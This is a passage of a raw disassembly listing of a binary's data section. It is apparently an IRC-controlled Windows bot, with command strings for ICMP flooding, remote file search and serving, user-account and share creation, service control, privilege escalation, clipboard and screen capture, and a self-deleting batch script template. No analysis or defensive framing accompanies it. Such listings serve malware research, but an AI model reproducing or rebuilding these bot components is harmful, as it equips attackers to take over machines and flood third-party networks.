		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_404BCC+97o
					; sub_410E85+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_404BCC+83o
		align 4
; char aApplicationOct[]
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_404BCC:loc_404C31o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_404BCC+5Eo
		align 10h
; char aHttpdFailedT_0[]
aHttpdFailedT_0	db '[HTTPD]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: sub_404D4E+28Fo
		align 4
; char aHttpdWorkerThr[]
aHttpdWorkerThr	db '[HTTPD]: Worker thread of server thread: %d.',0
					; DATA XREF: sub_404D4E+20Bo
		align 4
; char asc_420028[]
asc_420028:				; DATA XREF: sub_404D4E+157o
		unicode	0, <*>,0
; char asc_42002C[]
asc_42002C:				; DATA XREF: sub_404D4E+FBo
					; sub_404FFE+29o ...
		dw 0Ah
		unicode	0, <>,0
; char aSS[]
aSS		db '%s%s',0             ; DATA XREF: sub_404D4E+EAo
					; sub_404FFE+4CAo ...
		align 4
; char aS_2[]
aS_2		db '%s',0               ; DATA XREF: sub_404D4E+3Ao
					; sub_405E64+3Bo ...
		align 4
aS_6		db '\%s',0              ; DATA XREF: sub_404D4E+2Fo
; char aFoundIFilesAnd[]
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_404FFE+64Eo
		align 4
; char aTrTdColspan3_0[]
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404FFE+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_404FFE+618o
		align 10h
; char a31s21sIBytes[]
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404FFE+589o
		align 4
; char aTdTdWidthDCo_0[]
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_404FFE+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
; char aCodeSCodeA_0[]
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404FFE:loc_405516o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404FFE+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404FFE+471o
		align 4
; char a31s21s[]
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404FFE+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_404FFE+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aCodeSCodeA[]
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404FFE:loc_4053C0o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404FFE+3BBo
		align 4
; char aSS_2[]
aSS_2		db '%s%s/',0            ; DATA XREF: sub_404FFE+374o
		align 4
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404FFE+330o
					; sub_404FFE+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
; char aPrivmsgS31s21s[]
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_404FFE+30Eo
		align 4
; char aS_3[]
aS_3		db '<%s>',0             ; DATA XREF: sub_404FFE+2E4o
					; sub_404FFE+413o
		align 10h
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_404FFE+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_404FFE+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_404FFE+285o
		align 4
; char a__0[]
a__0		db '.',0                ; DATA XREF: sub_404FFE+24Do
		align 4
; char a__[]
a__		db '..',0               ; DATA XREF: sub_404FFE+232o
		align 10h
; char aTrTdColspan3AH[]
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404FFE+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aSearchingForS[]
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404FFE+147o
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404FFE+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aTrTdWidthDCode[]
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404FFE+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404FFE+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_404FFE+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
; char aPrivmsgSSearch[]
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404FFE+4Bo
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40576B+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
; char aIcmpDoneWithSF[]
aIcmpDoneWithSF	db '[ICMP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/s'
					; DATA XREF: sub_40588C+397o
		db 'ec (%dMB).',0
; char aIcmpErrorSendi[]
aIcmpErrorSendi	db '[ICMP]: Error sending packets to IP: %s. Packets sent: %d. Return'
					; DATA XREF: sub_40588C+307o
		db 'ed: <%d>.',0
		align 4
; char aIcmpInvalidTar[]
aIcmpInvalidTar	db '[ICMP]: Invalid target IP.',0 ; DATA XREF: sub_40588C+12Ao
		align 4
; char aIcmpErrorSetso[]
aIcmpErrorSetso	db '[ICMP]: Error: setsockopt() failed, returned: <%d>.',0
					; DATA XREF: sub_40588C+C2o
; char aIcmpErrorSocke[]
aIcmpErrorSocke	db '[ICMP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_40588C+49o
; char aIdentdErrorSer[]
aIdentdErrorSer	db '[IDENTD]: Error: server failed, returned: <%d>.',0
					; DATA XREF: sub_405C73+16Eo
; char aUseridUnixS[]
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_405C73+113o
; char aIdentdClientCo[]
aIdentdClientCo	db '[IDENTD]: Client connection from IP: %s:%d.',0
					; DATA XREF: sub_405C73+BBo
; char aSSS[]
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_405E64+58o
; char aPrivmsg[]
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_405E64+16o
					; sub_409557+607o
; char aNotice[]
aNotice		db 'NOTICE',0           ; DATA XREF: sub_405E64+Fo
					; sub_409557+613o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_405EFF+B8Co
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_405EFF+B7Fo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_405EFF+B72o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_405EFF+B65o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_405EFF+B58o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_405EFF+B50o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_405EFF:loc_406A42o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_405EFF+B0Eo
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_405EFF+B06o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_405EFF:loc_4069F8o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_405EFF+AB4o
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_405EFF+AA7o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_405EFF+A9Ao
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_405EFF+A92o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_405EFF:loc_406984o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_405EFF+A50o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_405EFF+A48o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_405EFF:loc_40693Ao
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_405EFF+A06o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_405EFF+9FEo
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_405EFF:loc_4068F0o
		align 10h
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_405EFF+974o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_405EFF+967o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_405EFF+95Ao
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_405EFF+94Do
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_405EFF+940o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_405EFF+933o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_405EFF+926o
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_405EFF+919o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_405EFF+90Co
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_405EFF+8FFo
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_405EFF+8F7o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_405EFF:loc_4067E5o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_405EFF+8A9o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_405EFF+89Co
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_405EFF+894o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_405EFF:loc_406786o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_405EFF+85Ao
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_405EFF+7E8o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_405EFF+7DBo
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_405EFF+7CEo
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_405EFF+7C1o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_405EFF+7B4o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_405EFF+7A7o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_405EFF+79Ao
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_405EFF+78Do
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_405EFF+780o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_405EFF+778o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_405EFF:loc_406666o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_405EFF+62Eo
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_405EFF+621o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_405EFF+614o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_405EFF+607o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_405EFF+5FAo
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_405EFF+5EDo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_405EFF+5E0o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_405EFF+5D3o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_405EFF+5C6o
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_405EFF+5B9o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_405EFF+5B1o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_405EFF+59Fo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_405EFF+592o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_405EFF+585o
		align 4
; char aSend[]
aSend		db 'send',0             ; DATA XREF: sub_405EFF+578o
					; sub_409557+1AC4o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_405EFF+56Bo
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_405EFF+55Eo
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_405EFF+551o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_405EFF+544o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_405EFF+537o
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_405EFF+52Ao
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_405EFF+51Do
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_405EFF+510o
aSocket		db 'socket',0           ; DATA XREF: sub_405EFF+503o
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_405EFF+4F6o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_405EFF+4E9o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_405EFF+4DCo
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_405EFF+4CFo
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_405EFF+4C2o
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_405EFF+4B5o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_405EFF+4ADo
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_405EFF+49Co
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_405EFF+429o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_405EFF+41Co
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_405EFF+40Fo
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_405EFF+402o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_405EFF+3F5o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_405EFF+3E8o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_405EFF+3DBo
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_405EFF+3CEo
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_405EFF+3C6o
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_405EFF:loc_4062B4o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_405EFF:loc_40628Co
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_405EFF+335o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_405EFF+328o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_405EFF+31Bo
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_405EFF+30Eo
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_405EFF+301o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_405EFF+2F4o
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_405EFF+2E7o
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_405EFF:loc_4061DEo
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_405EFF+2AFo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_405EFF+2A2o
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_405EFF:loc_406199o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_405EFF+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_405EFF+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_405EFF+238o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_405EFF+22Bo
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_405EFF+21Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_405EFF+216o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_405EFF:loc_406104o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_405EFF+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_405EFF+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_405EFF+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_405EFF+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_405EFF+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_405EFF+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_405EFF+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_405EFF+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_405EFF:loc_406034o
					; ___crtMessageBoxA+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_405EFF:loc_406007o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_405EFF+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_405EFF+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_405EFF+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_405EFF+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_405EFF+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_405EFF+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_405EFF+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_405EFF+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_405EFF+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_405EFF+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_405EFF+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_405EFF+Ao
		align 4
; char aMainDllTestCom[]
aMainDllTestCom	db '[MAIN]: DLL test complete.',0 ; DATA XREF: sub_406AE8+2BEo
		align 4
; char aOdbc32_dllFail[]
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+298o
; char aShell32_dllFai[]
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+264o
		align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+230o
		align 4
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+1FCo
		align 10h
; char aDnsapi_dllFail[]
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+1C8o
; char aNetapi32_dllFa[]
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+194o
		align 4
; char aIcmp_dllFailed[]
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+160o
		align 4
; char aWininet_dllFai[]
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+12Co
		align 4
; char aWs2_32_dllFail[]
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+F8o
; char aGdi32_dllFaile[]
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+C4o
		align 4
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+90o
		align 4
; char aUser32_dllFail[]
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+5Co
; char aKernel32_dllFa[]
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_406AE8+28o
		align 4
; char aSErrorSD_[]
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40703D+72o
		align 4
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_407102+5o
					; sub_40F995+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_407184+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_407228+2o
; char aComspecCSS[]
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40724A+140o
		align 10h
; char a[]
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40724A+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
; char aSdel_bat[]
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40724A+48o
		align 10h
off_4210E0	dd offset aAdd		; DATA XREF: sub_4073D2+6Dr
					; sub_4077B6+50r ...
					; "Add"
off_4210E4	dd offset aAdded	; DATA XREF: sub_4073D2+2Dr
					; sub_4077B6+82r ...
					; "Added"
dword_4210E8	dd 0			; DATA XREF: sub_4073D2+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 421154h, 42114Ch,	2, 421140h, 421134h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused_0	db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:00421114o
aStop_0		db 'Stop',0             ; DATA XREF: .data:00421110o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .data:00421108o
aStart_0	db 'Start',0            ; DATA XREF: .data:00421104o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .data:004210FCo
		align 4
aList_1		db 'List',0             ; DATA XREF: .data:004210F8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .data:004210F0o
aDelete_0	db 'Delete',0           ; DATA XREF: .data:004210ECo
		align 4
aAdded		db 'Added',0            ; DATA XREF: .data:off_4210E4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: .data:off_4210E0o
; char aNetSNoServiceS[]
aNetSNoServiceS	db '[NET]: %s: No service specified.',0 ; DATA XREF: sub_4073D2+74o
		align 4
; char aNetErrorWithSe[]
aNetErrorWithSe	db '[NET]: Error with service: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_4073D2+55o
; char aNetSServiceS_[]
aNetSServiceS_	db '[NET]: %s service: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4073D2+38o
		align 4
; char aAnUnknownErr_0[]
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4074FB+12Co
		align 10h
; char aTheSystemIsShu[]
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4074FB:loc_407613o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4074FB:loc_40760Co
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4074FB:loc_407605o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4074FB:loc_4075FEo
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4074FB:loc_4075F7o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4074FB:loc_4075F0o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4074FB:loc_4075E9o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4074FB:loc_4075E2o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4074FB:loc_4075DBo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4074FB:loc_4075D4o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4074FB:loc_4075A9o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4074FB:loc_4075A2o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4074FB:loc_40759Bo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4074FB:loc_407594o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4074FB+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4074FB:loc_407569o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4074FB:loc_40755Fo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4074FB:loc_407555o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4074FB:loc_40754Bo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4074FB:loc_407541o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4074FB+3Co
		align 4
; char aSSS_0[]
aSSS_0		db '%s: %s (%s)',0      ; DATA XREF: sub_407679+EBo
; char aStopped[]
aStopped	db '    Stopped',0      ; DATA XREF: sub_407679:loc_407745o
aStarting	db '   Starting',0      ; DATA XREF: sub_407679:loc_40773Eo
aStoping	db '    Stoping',0      ; DATA XREF: sub_407679:loc_407737o
aRunning	db '    Running',0      ; DATA XREF: sub_407679:loc_407730o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_407679:loc_407729o
aPausing	db '    Pausing',0      ; DATA XREF: sub_407679:loc_407722o
aPaused		db '     Paused',0      ; DATA XREF: sub_407679:loc_40771Bo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_407679+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_407679+25o
		align 4
; char aNetSNoShareSpe[]
